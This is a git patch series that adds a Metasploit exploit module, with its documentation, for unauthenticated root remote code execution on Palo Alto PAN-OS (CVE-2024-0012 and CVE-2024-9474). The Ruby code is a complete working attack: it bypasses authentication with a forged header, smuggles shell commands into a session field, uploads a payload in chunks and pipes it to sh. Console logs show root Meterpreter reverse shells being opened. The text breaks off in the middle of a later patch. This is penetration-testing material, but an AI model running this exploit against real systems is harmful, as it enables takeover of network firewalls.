From 2469d4ea236e9662a9f2ef09b8631b05f9ca58ea Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Tue, 19 Nov 2024 16:15:06 +0000 Subject: [PATCH 01/14] add in exploit module for the recent PAN-OS RCE, CVE-2024-0012 + CVE-2024-9474 --- .../linux/http/panos_management_unauth_rce.md | 119 +++++++++++ .../linux/http/panos_management_unauth_rce.rb | 197 ++++++++++++++++++ 2 files changed, 316 insertions(+) create mode 100644 documentation/modules/exploit/linux/http/panos_management_unauth_rce.md create mode 100644 modules/exploits/linux/http/panos_management_unauth_rce.rb diff --git a/documentation/modules/exploit/linux/http/panos_management_unauth_rce.md b/documentation/modules/exploit/linux/http/panos_management_unauth_rce.md new file mode 100644 index 000000000000..e50987974413 --- /dev/null +++ b/documentation/modules/exploit/linux/http/panos_management_unauth_rce.md @@ -0,0 +1,119 @@ +## Vulnerable Application +This module exploits an authentication bypass vulnerability (CVE-2024-0012) and a command injection +vulnerability (CVE-2024-9474) in the PAN-OS management web interface. An unauthenticated attacker can +execute arbitrary code with root privileges. + +The following version are affected: + * PAN-OS 11.2 (up to and including 11.2.4-h1) + * PAN-OS 11.1 (up to and including 11.1.5-h1) + * PAN-OS 11.0 (up to and including 11.0.6-h1) + * PAN-OS 10.2 (up to and including 10.2.12-h2) + +## Testing +Install a new PAN-OS instance as a VM in VMWare, by downloading an OVA for a vulnerable version, for example +`PA-VM-ESX-11.1.4.ova`. Install this OVA in VMWare Workstation and boot the device. The first ethernet adapter +will be assigned an IP address via DHCP. This is the IP address of the management interface. You can complete setup +by visiting `https://MANAGEMENT_IP/` in your browser. You do not need to license the target VM in order to successfully +run the exploit against the target. The default user is `admin` with a password of `admin`, and you will be instructed +to change this upon logging in for the first time. + +The exploit has been tested against PAN-OS `10.2.8` and `11.1.4`. + +## Verification Steps + +1. Start msfconsole +2. `use exploit/linux/http/panos_management_unauth_rce` +3. `set RHOST ` +4. `set PAYLOAD cmd/linux/http/x64/meterpreter_reverse_tcp` +5. `set LHOST eth0` +5. `set LPORT 4444` +6. `check` +7. `exploit` + +## Scenarios + +### Default + +``` +msf6 exploit(linux/http/panos_management_unauth_rce) > show options + +Module options (exploit/linux/http/panos_management_unauth_rce): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[ + ,type:host:port][...] + RHOSTS 192.168.86.98 yes The target host(s), see https://docs.me + tasploit.com/docs/using-metasploit/basi + cs/using-metasploit.html + RPORT 443 yes The target port (TCP) + SSL true no Negotiate SSL/TLS for outgoing connecti + ons + VHOST no HTTP server virtual host + + +Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_COMMAND WGET yes Command to fetch payload (Acc + epted: CURL, FTP, TFTP, TNFTP + , WGET) + FETCH_DELETE false yes Attempt to delete the binary + after execution + FETCH_FILENAME DVtyQpcA no Name to use on remote system + when storing payload; cannot + contain spaces or slashes + FETCH_SRVHOST no Local IP to use for serving p + ayload + FETCH_SRVPORT 8080 yes Local port to use for serving + payload + FETCH_URIPATH no Local URI to use for serving + payload + FETCH_WRITABLE_DI /var/tmp yes Remote writable dir to store + R payload; cannot contain space + s + LHOST eth0 yes The listen address (an interf + ace may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Default + + + +View the full module info with the info, or info -d command. + +msf6 exploit(linux/http/panos_management_unauth_rce) > check +[+] 192.168.86.98:443 - The target is vulnerable. +msf6 exploit(linux/http/panos_management_unauth_rce) > exploit + +[*] Started reverse TCP handler on 192.168.86.42:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. +[*] Uploading payload chunk 1 of 8... +[*] Uploading payload chunk 2 of 8... +[*] Uploading payload chunk 3 of 8... +[*] Uploading payload chunk 4 of 8... +[*] Uploading payload chunk 5 of 8... +[*] Uploading payload chunk 6 of 8... +[*] Uploading payload chunk 7 of 8... +[*] Uploading payload chunk 8 of 8... +[*] Amalgamating payload chunks... +[*] Executing payload... +[*] Meterpreter session 1 opened (192.168.86.42:4444 -> 192.168.86.98:52364) at 2024-11-19 15:16:55 +0000 + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : 192.168.86.98 +OS : CentOS 8.3.2011 (Linux 4.18.0-240.1.1.20.pan.x86_64) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +``` diff --git a/modules/exploits/linux/http/panos_management_unauth_rce.rb b/modules/exploits/linux/http/panos_management_unauth_rce.rb new file mode 100644 index 000000000000..fd4e92603808 --- /dev/null +++ b/modules/exploits/linux/http/panos_management_unauth_rce.rb @@ -0,0 +1,197 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Palo Alto Networks PAN-OS Management Interface Unauthenticated Remote Code Execution', + 'Description' => %q{ + This module exploits an authentication bypass vulnerability (CVE-2024-0012) and a command injection + vulnerability (CVE-2024-9474) in the PAN-OS management web interface. An unauthenticated attacker can + execute arbitrary code with root privileges. + + The following version are affected: + * PAN-OS 11.2 (up to and including 11.2.4-h1) + * PAN-OS 11.1 (up to and including 11.1.5-h1) + * PAN-OS 11.0 (up to and including 11.0.6-h1) + * PAN-OS 10.2 (up to and including 10.2.12-h2) + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'watchTowr', # Technical Analysis + 'sfewer-r7' # Metasploit module + ], + 'References' => [ + ['CVE', '2024-0012'], + ['CVE', '2024-9474'], + # Vendor Advisories + ['URL', 'https://security.paloaltonetworks.com/CVE-2024-0012'], + ['URL', 'https://security.paloaltonetworks.com/CVE-2024-9474'], + # Technical Analysis + ['URL', 'https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/'] + ], + 'DisclosureDate' => '2024-11-18', + 'Platform' => [ 'linux', 'unix' ], + 'Arch' => [ARCH_CMD], + 'Privileged' => true, # Executes as root on Linux + 'Targets' => [ [ 'Default', {} ] ], + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp', + 'FETCH_COMMAND' => 'WGET', + 'RPORT' => 443, + 'SSL' => true, + 'FETCH_WRITABLE_DIR' => '/var/tmp' + }, + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + end + + # Our check routine leverages the two vulnerabilities to write a file to disk, which we then read back over HTTPS to + # confirm the target is vulnerable. The check routine will delete this file after it has been read. + def check + check_file_name = Rex::Text.rand_text_alphanumeric(4) + + # NOTE: We set dontfail to true, as a check routine cannot fail_with(). + + return CheckCode::Unknown unless execute_cmd( + "echo #{check_file_name} > /var/appweb/htdocs/unauth/#{check_file_name}", + dontfail: true + ) + + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri('unauth', check_file_name) + ) + + return CheckCode::Unknown('Connection failed') unless res + + if res.code == 200 && res.body.include?(check_file_name) + + return CheckCode::Unknown unless execute_cmd( + "rm -f /var/appweb/htdocs/unauth/#{check_file_name}", + dontfail: true + ) + + return Exploit::CheckCode::Vulnerable + end + + CheckCode::Safe + end + + # We can only execute a short command upon each invocation of the command injection vulnerability. To execute + # a Metasploit payload, we base64 encode our payload, and write it to a file, but we do the file write in small + # chunks. Additionally, the command injection may trigger twice per invocation. To overcome this we store each + # chunk in a unique, sequential file, so that if invoked twice, we still end up with the same file for that chunk. + # We then amalgamate all these chunks together into a single file, reconstituting the original base64 encoded + # payload, Finally we base64 decode the payload, and pipe it to a shell to execute. To avoid our payload being + # executed twice, the payload will delete the single base64 payload file upon the first execution of the payload, + # causing any second attempt to execute the payload to fail. + def exploit + tmp_file_name = Rex::Text.rand_text_alphanumeric(4) + + cmd = "rm -f #{datastore['FETCH_WRITABLE_DIR']}/#{tmp_file_name}*; #{payload.encoded}" + + payload = Base64.strict_encode64(cmd) + + idx = 1 + + chunk_size = 30 + + max_idx = (payload.length / chunk_size) + 1 + + while payload && !payload.empty? + + print_status("Uploading payload chunk #{idx} of #{max_idx}...") + + chunk = payload[0, chunk_size] + + payload = payload[chunk_size..] + + execute_cmd("echo -n '#{chunk}' > #{datastore['FETCH_WRITABLE_DIR']}/#{tmp_file_name}#{idx}") + + idx += 1 + end + + print_status('Amalgamating payload chunks...') + + execute_cmd("cat #{datastore['FETCH_WRITABLE_DIR']}/#{tmp_file_name}* > #{datastore['FETCH_WRITABLE_DIR']}/#{tmp_file_name}") + + print_status('Executing payload...') + + execute_cmd("cat #{datastore['FETCH_WRITABLE_DIR']}/#{tmp_file_name} | base64 -d | sh", dontfail: true) + end + + def execute_cmd(cmd, dontfail: false) + user = "`#{cmd}`" + + # There is a 63 character limit for the command injection. + if user.length >= 64 + fail_with(Failure::BadConfig, 'Command too long for execute_cmd') + end + + vprint_status(user) + + # Leverage the auth bypass (CVE-2024-0012) and poison a session parameter with the command to execute (CVE-2024-9474). + res1 = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri('php', 'utils', 'createRemoteAppwebSession.php', "#{Rex::Text.rand_text_alphanumeric(8)}.js.map"), + 'headers' => { + 'X-PAN-AUTHCHECK' => 'off' + }, + 'vars_post' => { + 'user' => user, + 'userRole' => 'superuser', + 'remoteHost' => '', + 'vsys' => 'vsys1' + } + ) + + unless res1&.code == 200 + if dontfail + return false + end + + fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /php/utils/createRemoteAppwebSession.php') + end + + php_session_id = res1.body.to_s.match(/PHPSESSID=([a-z0-9]+)@/) + + unless php_session_id + fail_with(Failure::UnexpectedReply, 'No PHPSESSID returned') + end + + # Trigger the command injection (CVE-2024-9474). + res2 = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri('index.php', '.js.map'), + 'headers' => { + 'Cookie' => "PHPSESSID=#{php_session_id[1]};" + } + ) + + unless res2&.code == 200 + if dontfail + return false + end + + fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /index.php/.js.map') + end + + true + end +end From 077f8700b9334be06a02bd107efd4aded62e857d Mon Sep 17 00:00:00 2001 From: Stephen Fewer <122022313+sfewer-r7@users.noreply.github.com> Date: Thu, 21 Nov 2024 16:08:09 +0000 Subject: [PATCH 02/14] remove an unnecessary space in this command. Co-authored-by: Julien Voisin --- modules/exploits/linux/http/panos_management_unauth_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/panos_management_unauth_rce.rb b/modules/exploits/linux/http/panos_management_unauth_rce.rb index fd4e92603808..4d4dd542cdb5 100644 --- a/modules/exploits/linux/http/panos_management_unauth_rce.rb +++ b/modules/exploits/linux/http/panos_management_unauth_rce.rb @@ -104,7 +104,7 @@ def check def exploit tmp_file_name = Rex::Text.rand_text_alphanumeric(4) - cmd = "rm -f #{datastore['FETCH_WRITABLE_DIR']}/#{tmp_file_name}*; #{payload.encoded}" + cmd = "rm -f #{datastore['FETCH_WRITABLE_DIR']}/#{tmp_file_name}*;#{payload.encoded}" payload = Base64.strict_encode64(cmd) From b8f36628da6c44b221dc5789565cc176c4e9e309 Mon Sep 17 00:00:00 2001 From: Stephen Fewer <122022313+sfewer-r7@users.noreply.github.com> Date: Thu, 21 Nov 2024 16:08:33 +0000 Subject: [PATCH 03/14] remove an unnecessary space in the command to write a chunk to disk. Co-authored-by: Julien Voisin --- modules/exploits/linux/http/panos_management_unauth_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/panos_management_unauth_rce.rb b/modules/exploits/linux/http/panos_management_unauth_rce.rb index 4d4dd542cdb5..7def2835c1cc 100644 --- a/modules/exploits/linux/http/panos_management_unauth_rce.rb +++ b/modules/exploits/linux/http/panos_management_unauth_rce.rb @@ -122,7 +122,7 @@ def exploit payload = payload[chunk_size..] - execute_cmd("echo -n '#{chunk}' > #{datastore['FETCH_WRITABLE_DIR']}/#{tmp_file_name}#{idx}") + execute_cmd("echo -n '#{chunk}'>#{datastore['FETCH_WRITABLE_DIR']}/#{tmp_file_name}#{idx}") idx += 1 end From d40bbd047e5c34ef7273ea9c10caf9d4ce5f0ebc Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Thu, 21 Nov 2024 16:21:00 +0000 Subject: [PATCH 04/14] remove the DefaultOption FETCH_COMMAND value of WGET, as the default the framework will pick, CURL, will work great. --- modules/exploits/linux/http/panos_management_unauth_rce.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/exploits/linux/http/panos_management_unauth_rce.rb b/modules/exploits/linux/http/panos_management_unauth_rce.rb index 7def2835c1cc..68361850e778 100644 --- a/modules/exploits/linux/http/panos_management_unauth_rce.rb +++ b/modules/exploits/linux/http/panos_management_unauth_rce.rb @@ -46,7 +46,6 @@ def initialize(info = {}) 'Targets' => [ [ 'Default', {} ] ], 'DefaultOptions' => { 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp', - 'FETCH_COMMAND' => 'WGET', 'RPORT' => 443, 'SSL' => true, 'FETCH_WRITABLE_DIR' => '/var/tmp' From f9b099a46dce442eb634515f29a837cd3a5b5315 Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Thu, 21 Nov 2024 16:22:02 +0000 Subject: [PATCH 05/14] remove the DefaultOption PAYLOAD value, and let the framework pick one for us. Mention I tested the exploit with cmd/linux/http/x64/meterpreter_reverse_tcp --- .../modules/exploit/linux/http/panos_management_unauth_rce.md | 3 ++- modules/exploits/linux/http/panos_management_unauth_rce.rb | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/documentation/modules/exploit/linux/http/panos_management_unauth_rce.md b/documentation/modules/exploit/linux/http/panos_management_unauth_rce.md index e50987974413..99ec23b4c9ea 100644 --- a/documentation/modules/exploit/linux/http/panos_management_unauth_rce.md +++ b/documentation/modules/exploit/linux/http/panos_management_unauth_rce.md @@ -17,7 +17,8 @@ by visiting `https://MANAGEMENT_IP/` in your browser. You do not need to license run the exploit against the target. The default user is `admin` with a password of `admin`, and you will be instructed to change this upon logging in for the first time. -The exploit has been tested against PAN-OS `10.2.8` and `11.1.4`. +The exploit has been tested against PAN-OS `10.2.8` and `11.1.4`, with the +payload `cmd/linux/http/x64/meterpreter_reverse_tcp`. ## Verification Steps diff --git a/modules/exploits/linux/http/panos_management_unauth_rce.rb b/modules/exploits/linux/http/panos_management_unauth_rce.rb index 68361850e778..d7e0e771dc68 100644 --- a/modules/exploits/linux/http/panos_management_unauth_rce.rb +++ b/modules/exploits/linux/http/panos_management_unauth_rce.rb @@ -44,8 +44,8 @@ def initialize(info = {}) 'Arch' => [ARCH_CMD], 'Privileged' => true, # Executes as root on Linux 'Targets' => [ [ 'Default', {} ] ], + # NOTE: Tested with the payload: cmd/linux/http/x64/meterpreter_reverse_tcp 'DefaultOptions' => { - 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp', 'RPORT' => 443, 'SSL' => true, 'FETCH_WRITABLE_DIR' => '/var/tmp' From d2f6e0e10fbad82ddd5e12b908299d2caa008d54 Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Thu, 21 Nov 2024 16:38:09 +0000 Subject: [PATCH 06/14] As the payload option FETCH_WRITABLE_DIR may not be available if a non fetch based payload is used, we add a new option WRITABLE_DIR to account for this. Update the documentation to reflect the change. --- .../linux/http/panos_management_unauth_rce.md | 90 +++++++++---------- .../linux/http/panos_management_unauth_rce.rb | 14 ++- 2 files changed, 51 insertions(+), 53 deletions(-) diff --git a/documentation/modules/exploit/linux/http/panos_management_unauth_rce.md b/documentation/modules/exploit/linux/http/panos_management_unauth_rce.md index 99ec23b4c9ea..4bf714dac4ab 100644 --- a/documentation/modules/exploit/linux/http/panos_management_unauth_rce.md +++ b/documentation/modules/exploit/linux/http/panos_management_unauth_rce.md @@ -31,6 +31,12 @@ payload `cmd/linux/http/x64/meterpreter_reverse_tcp`. 6. `check` 7. `exploit` +## Options + +### WRITABLE_DIR +The full path of a writable directory on the target. By default it will be `/var/tmp`. The exploit will write the +payload as a series if chunks to this location, before executing the payload. The written artifacts are then deleted. + ## Scenarios ### Default @@ -40,43 +46,29 @@ msf6 exploit(linux/http/panos_management_unauth_rce) > show options Module options (exploit/linux/http/panos_management_unauth_rce): - Name Current Setting Required Description - ---- --------------- -------- ----------- - Proxies no A proxy chain of format type:host:port[ - ,type:host:port][...] - RHOSTS 192.168.86.98 yes The target host(s), see https://docs.me - tasploit.com/docs/using-metasploit/basi - cs/using-metasploit.html - RPORT 443 yes The target port (TCP) - SSL true no Negotiate SSL/TLS for outgoing connecti - ons - VHOST no HTTP server virtual host - - -Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp): - - Name Current Setting Required Description - ---- --------------- -------- ----------- - FETCH_COMMAND WGET yes Command to fetch payload (Acc - epted: CURL, FTP, TFTP, TNFTP - , WGET) - FETCH_DELETE false yes Attempt to delete the binary - after execution - FETCH_FILENAME DVtyQpcA no Name to use on remote system - when storing payload; cannot - contain spaces or slashes - FETCH_SRVHOST no Local IP to use for serving p - ayload - FETCH_SRVPORT 8080 yes Local port to use for serving - payload - FETCH_URIPATH no Local URI to use for serving - payload - FETCH_WRITABLE_DI /var/tmp yes Remote writable dir to store - R payload; cannot contain space - s - LHOST eth0 yes The listen address (an interf - ace may be specified) - LPORT 4444 yes The listen port + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 192.168.86.100 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 443 yes The target port (TCP) + SSL true no Negotiate SSL/TLS for outgoing connections + VHOST no HTTP server virtual host + WRITABLE_DIR /var/tmp yes The full path of a writable directory on the target. + + +Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) + FETCH_DELETE false yes Attempt to delete the binary after execution + FETCH_FILENAME pHLZiKRnmfR no Name to use on remote system when storing payload; cannot contain spaces or slashes + FETCH_SRVHOST no Local IP to use for serving payload + FETCH_SRVPORT 8080 yes Local port to use for serving payload + FETCH_URIPATH no Local URI to use for serving payload + FETCH_WRITABLE_DIR /var/tmp yes Remote writable dir to store payload; cannot contain spaces + LHOST 192.168.86.42 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port Exploit target: @@ -90,29 +82,29 @@ Exploit target: View the full module info with the info, or info -d command. msf6 exploit(linux/http/panos_management_unauth_rce) > check -[+] 192.168.86.98:443 - The target is vulnerable. +[+] 192.168.86.100:443 - The target is vulnerable. msf6 exploit(linux/http/panos_management_unauth_rce) > exploit [*] Started reverse TCP handler on 192.168.86.42:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target is vulnerable. -[*] Uploading payload chunk 1 of 8... -[*] Uploading payload chunk 2 of 8... -[*] Uploading payload chunk 3 of 8... -[*] Uploading payload chunk 4 of 8... -[*] Uploading payload chunk 5 of 8... -[*] Uploading payload chunk 6 of 8... -[*] Uploading payload chunk 7 of 8... -[*] Uploading payload chunk 8 of 8... +[*] Uploading payload chunk 1 of 7... +[*] Uploading payload chunk 2 of 7... +[*] Uploading payload chunk 3 of 7... +[*] Uploading payload chunk 4 of 7... +[*] Uploading payload chunk 5 of 7... +[*] Uploading payload chunk 6 of 7... +[*] Uploading payload chunk 7 of 7... [*] Amalgamating payload chunks... [*] Executing payload... -[*] Meterpreter session 1 opened (192.168.86.42:4444 -> 192.168.86.98:52364) at 2024-11-19 15:16:55 +0000 +[*] Sending stage (3045380 bytes) to 192.168.86.100 +[*] Meterpreter session 1 opened (192.168.86.42:4444 -> 192.168.86.100:54266) at 2024-11-21 16:35:38 +0000 meterpreter > getuid Server username: root meterpreter > sysinfo -Computer : 192.168.86.98 -OS : CentOS 8.3.2011 (Linux 4.18.0-240.1.1.20.pan.x86_64) +Computer : 192.168.86.100 +OS : Red Hat (Linux 4.18.0-240.1.1.28.pan.x86_64) Architecture : x64 BuildTuple : x86_64-linux-musl Meterpreter : x64/linux diff --git a/modules/exploits/linux/http/panos_management_unauth_rce.rb b/modules/exploits/linux/http/panos_management_unauth_rce.rb index d7e0e771dc68..46725391ad3e 100644 --- a/modules/exploits/linux/http/panos_management_unauth_rce.rb +++ b/modules/exploits/linux/http/panos_management_unauth_rce.rb @@ -48,6 +48,7 @@ def initialize(info = {}) 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true, + # A writable directory on the target for fetch based payloads to write to. 'FETCH_WRITABLE_DIR' => '/var/tmp' }, 'DefaultTarget' => 0, @@ -58,6 +59,11 @@ def initialize(info = {}) } ) ) + register_options( + [ + OptString.new('WRITABLE_DIR', [true, 'The full path of a writable directory on the target.', '/var/tmp']) + ] + ) end # Our check routine leverages the two vulnerabilities to write a file to disk, which we then read back over HTTPS to @@ -103,7 +109,7 @@ def check def exploit tmp_file_name = Rex::Text.rand_text_alphanumeric(4) - cmd = "rm -f #{datastore['FETCH_WRITABLE_DIR']}/#{tmp_file_name}*;#{payload.encoded}" + cmd = "rm -f #{datastore['WRITABLE_DIR']}/#{tmp_file_name}*;#{payload.encoded}" payload = Base64.strict_encode64(cmd) @@ -121,18 +127,18 @@ def exploit payload = payload[chunk_size..] - execute_cmd("echo -n '#{chunk}'>#{datastore['FETCH_WRITABLE_DIR']}/#{tmp_file_name}#{idx}") + execute_cmd("echo -n '#{chunk}'>#{datastore['WRITABLE_DIR']}/#{tmp_file_name}#{idx}") idx += 1 end print_status('Amalgamating payload chunks...') - execute_cmd("cat #{datastore['FETCH_WRITABLE_DIR']}/#{tmp_file_name}* > #{datastore['FETCH_WRITABLE_DIR']}/#{tmp_file_name}") + execute_cmd("cat #{datastore['WRITABLE_DIR']}/#{tmp_file_name}* > #{datastore['WRITABLE_DIR']}/#{tmp_file_name}") print_status('Executing payload...') - execute_cmd("cat #{datastore['FETCH_WRITABLE_DIR']}/#{tmp_file_name} | base64 -d | sh", dontfail: true) + execute_cmd("cat #{datastore['WRITABLE_DIR']}/#{tmp_file_name} | base64 -d | sh", dontfail: true) end def execute_cmd(cmd, dontfail: false) From 41bcf4629ff507a3d83a50ce959056576481b207 Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Thu, 21 Nov 2024 17:37:34 +0000 Subject: [PATCH 07/14] The payload we essentially being encoded twice (thanks for calling this out Brendan), we now supply a suitable BadChars and let the framewrk encode the framework paylaod. We rename the variable payload to bootstrap_payload as this was colliding with the frameworks payload variable which was not the intent. --- .../linux/http/panos_management_unauth_rce.md | 3 +- .../linux/http/panos_management_unauth_rce.rb | 28 ++++++++++++------- 2 files changed, 20 insertions(+), 11 deletions(-) diff --git a/documentation/modules/exploit/linux/http/panos_management_unauth_rce.md b/documentation/modules/exploit/linux/http/panos_management_unauth_rce.md index 4bf714dac4ab..28701fca8861 100644 --- a/documentation/modules/exploit/linux/http/panos_management_unauth_rce.md +++ b/documentation/modules/exploit/linux/http/panos_management_unauth_rce.md @@ -18,7 +18,8 @@ run the exploit against the target. The default user is `admin` with a password to change this upon logging in for the first time. The exploit has been tested against PAN-OS `10.2.8` and `11.1.4`, with the -payload `cmd/linux/http/x64/meterpreter_reverse_tcp`. +payloads `cmd/linux/http/x64/meterpreter_reverse_tcp`, `md/linux/http/x64/meterpreter/reverse_tcp`, +and `cmd/unix/reverse_bash`. ## Verification Steps diff --git a/modules/exploits/linux/http/panos_management_unauth_rce.rb b/modules/exploits/linux/http/panos_management_unauth_rce.rb index 46725391ad3e..a374566fc113 100644 --- a/modules/exploits/linux/http/panos_management_unauth_rce.rb +++ b/modules/exploits/linux/http/panos_management_unauth_rce.rb @@ -43,8 +43,17 @@ def initialize(info = {}) 'Platform' => [ 'linux', 'unix' ], 'Arch' => [ARCH_CMD], 'Privileged' => true, # Executes as root on Linux - 'Targets' => [ [ 'Default', {} ] ], - # NOTE: Tested with the payload: cmd/linux/http/x64/meterpreter_reverse_tcp + 'Targets' => [ + [ + 'Default', { + 'Payload' => { 'BadChars' => '\\\'"&' } + } + ] + ], + # NOTE: Tested with the payloads: + # cmd/linux/http/x64/meterpreter_reverse_tcp + # cmd/linux/http/x64/meterpreter/reverse_tcp + # cmd/unix/reverse_bash 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true, @@ -109,23 +118,22 @@ def check def exploit tmp_file_name = Rex::Text.rand_text_alphanumeric(4) - cmd = "rm -f #{datastore['WRITABLE_DIR']}/#{tmp_file_name}*;#{payload.encoded}" - - payload = Base64.strict_encode64(cmd) + bootstrap_payload = "rm -f #{datastore['WRITABLE_DIR']}/#{tmp_file_name}*;#{payload.encoded}" idx = 1 chunk_size = 30 - max_idx = (payload.length / chunk_size) + 1 + max_idx = (bootstrap_payload.length / chunk_size) + 1 - while payload && !payload.empty? + while bootstrap_payload && !bootstrap_payload.empty? print_status("Uploading payload chunk #{idx} of #{max_idx}...") - chunk = payload[0, chunk_size] + chunk = bootstrap_payload[0, chunk_size] - payload = payload[chunk_size..] + bootstrap_payload = bootstrap_payload[chunk_size..] + print_status(chunk.inspect) execute_cmd("echo -n '#{chunk}'>#{datastore['WRITABLE_DIR']}/#{tmp_file_name}#{idx}") @@ -138,7 +146,7 @@ def exploit print_status('Executing payload...') - execute_cmd("cat #{datastore['WRITABLE_DIR']}/#{tmp_file_name} | base64 -d | sh", dontfail: true) + execute_cmd("cat #{datastore['WRITABLE_DIR']}/#{tmp_file_name}|sh", dontfail: true) end def execute_cmd(cmd, dontfail: false) From eda46f1a107454a542aee008fab440bb43611cfd Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Fri, 22 Nov 2024 10:26:06 +0000 Subject: [PATCH 08/14] the check routing shoudl return Safe the first time we try to leverage teh vulnerability, if that doesnt work. But still return Unknown if the vulnerability fails the second time we leverage it. --- modules/exploits/linux/http/panos_management_unauth_rce.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/panos_management_unauth_rce.rb b/modules/exploits/linux/http/panos_management_unauth_rce.rb index a374566fc113..c3b9222f5ffc 100644 --- a/modules/exploits/linux/http/panos_management_unauth_rce.rb +++ b/modules/exploits/linux/http/panos_management_unauth_rce.rb @@ -82,7 +82,8 @@ def check # NOTE: We set dontfail to true, as a check routine cannot fail_with(). - return CheckCode::Unknown unless execute_cmd( + # return Safe if we fail to trigger the vulnerability and execute a command. + return CheckCode::Safe unless execute_cmd( "echo #{check_file_name} > /var/appweb/htdocs/unauth/#{check_file_name}", dontfail: true ) @@ -96,6 +97,7 @@ def check if res.code == 200 && res.body.include?(check_file_name) + # return Unknown if we fail to trigger the vulnerability second time. return CheckCode::Unknown unless execute_cmd( "rm -f /var/appweb/htdocs/unauth/#{check_file_name}", dontfail: true From de599a4407f0249909e427dc33130a38e64ffb26 Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Fri, 22 Nov 2024 10:28:27 +0000 Subject: [PATCH 09/14] rework how we calculate the chunk size, we now consume the maximum available space a chunk can take, relative to the size of teh command needed to write the chunk to disk. We also rework the logic to ensure the files are sequential. Finally as the size of a chunk may be less the more chunks we write, we impose a max Payload Space valuecalculated to be 5670 chars. --- .../linux/http/panos_management_unauth_rce.rb | 55 +++++++++++++++---- 1 file changed, 45 insertions(+), 10 deletions(-) diff --git a/modules/exploits/linux/http/panos_management_unauth_rce.rb b/modules/exploits/linux/http/panos_management_unauth_rce.rb index c3b9222f5ffc..478da67fcd15 100644 --- a/modules/exploits/linux/http/panos_management_unauth_rce.rb +++ b/modules/exploits/linux/http/panos_management_unauth_rce.rb @@ -46,7 +46,14 @@ def initialize(info = {}) 'Targets' => [ [ 'Default', { - 'Payload' => { 'BadChars' => '\\\'"&' } + 'Payload' => { + # See the comment in the exploit method for how we calculated the payload Space value. + 'Space' => 5670, + # We write the payload in chunks, which limits our total space, but is also slow, so we disable nops + # to ensure the payload is as small as possible. + 'DisableNops' => true, + 'BadChars' => '\\\'"&' + } } ] ], @@ -110,12 +117,12 @@ def check end # We can only execute a short command upon each invocation of the command injection vulnerability. To execute - # a Metasploit payload, we base64 encode our payload, and write it to a file, but we do the file write in small + # a Metasploit payload, we first write the payload to a file, but we do the file write in small # chunks. Additionally, the command injection may trigger twice per invocation. To overcome this we store each # chunk in a unique, sequential file, so that if invoked twice, we still end up with the same file for that chunk. - # We then amalgamate all these chunks together into a single file, reconstituting the original base64 encoded - # payload, Finally we base64 decode the payload, and pipe it to a shell to execute. To avoid our payload being - # executed twice, the payload will delete the single base64 payload file upon the first execution of the payload, + # We then amalgamate all these chunks together back into a single file, reconstituting the original payload. + # Finally we read the payload from the file, and pipe it to a shell to execute it. To avoid our payload being + # executed twice, the payload will delete the single payload file upon the first execution of the payload, # causing any second attempt to execute the payload to fail. def exploit tmp_file_name = Rex::Text.rand_text_alphanumeric(4) @@ -123,23 +130,51 @@ def exploit bootstrap_payload = "rm -f #{datastore['WRITABLE_DIR']}/#{tmp_file_name}*;#{payload.encoded}" idx = 1 + idx_prefix = '' - chunk_size = 30 + # Our command injection can at most be 63 characters. We need 2 characters for a double back tick, and + # 25 for the echo command that writes the chunk to a file (assuming a path of /var/tmp and a single digit idx + # value. So by default, the chunk size will be 36. However this may change as we write the chunks. + # To ensure 